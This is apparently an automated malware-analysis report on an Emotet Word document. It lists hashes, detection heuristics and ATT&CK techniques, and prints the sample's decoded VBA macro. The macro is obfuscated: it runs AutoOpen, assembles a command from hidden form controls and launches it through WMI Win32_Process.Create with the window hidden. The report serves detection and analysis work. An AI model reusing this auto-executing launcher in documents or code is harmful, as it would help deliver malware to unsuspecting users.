Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c95d7dbdaca7aa20…

MALICIOUS

Office (OLE)

126.5 KB Created: 2019-05-17 05:55:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: e59c009be967f018ee620cb16273e6af SHA-1: 5e06d3d1b2099f96450d40d1b206217a6511c76e SHA-256: c95d7dbdaca7aa20fc8e384aa0fa99a3d8f9cc426c8a8b956e8751759dc98bad
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, a common characteristic of Emotet. The script utilizes GetObject to instantiate WMI objects and then calls the Create method of Win32_Process to launch a new process. This is a typical behavior for Emotet to download and execute a secondary payload. The ClamAV detection also explicitly names Emotet.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1472 bytes
SHA-256: f17ad3fb98c1173c9688fba491a97bc6a1136ea9caaa38f3659826f33b0e18db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "u44_3_2_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "V_25412, 0, 0, MSForms, TextBox"
Attribute VB_Control = "f9791_94, 1, 1, MSForms, TextBox"
Attribute VB_Control = "r5512_1, 2, 2, MSForms, TextBox"
Attribute VB_Control = "A9647013, 3, 3, MSForms, TextBox"
Attribute VB_Control = "v372_825, 4, 4, MSForms, TextBox"
Attribute VB_Control = "C451_8_, 5, 5, MSForms, TextBox"

Attribute VB_Name = "q_4318"
Sub _
autoopen( _
)
Set U07210 = GetObject("WiN" + "mgmts:Win32_ProcessStarTUP")
   c21_8376 = ("646375879" + "a49_07_4" + ("V73081" + ("732603622") + ("569289663" + ("695063609"))))
U07210. _
ShowWindow = vbFalse - vbFalse
   E3951173 = ("362559600" + "o18844_1" + ("h75957_6" + ("883431254") + ("509583654" + ("938274462"))))
i70003 = u44_3_2_.f9791_94 + u44_3_2_.r5512_1 + u44_3_2_.A9647013 + u44_3_2_.v372_825 + u44_3_2_.V_25412
   r_314_4 = ("692906408" + "Q557100" + ("i9_36_" + ("250887828") + ("368344022" + ("812754144"))))
Set L588636 = GetObject("WiN" + "mgmts:Win32_Process")
   l54760 = ("945116762" + "B_7932" + ("J16276" + ("961621818") + ("149395983" + ("243220351"))))
L588636.Create d03_6699 + i70003 + K149_3, E40960, U07210, D24_80
End Sub


Attribute VB_Name = "W387485"

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